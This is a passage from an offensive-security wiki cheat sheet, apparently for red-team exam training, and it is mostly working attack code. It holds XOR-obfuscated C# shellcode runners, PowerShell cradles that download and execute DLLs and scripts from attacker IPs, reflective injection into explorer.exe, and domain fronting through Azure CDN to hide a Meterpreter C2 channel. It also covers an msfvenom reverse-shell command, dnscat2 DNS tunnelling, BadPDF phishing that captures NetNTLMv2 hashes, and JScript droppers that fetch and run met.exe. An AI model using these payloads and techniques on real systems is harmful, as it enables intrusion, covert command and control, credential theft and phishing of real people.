            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
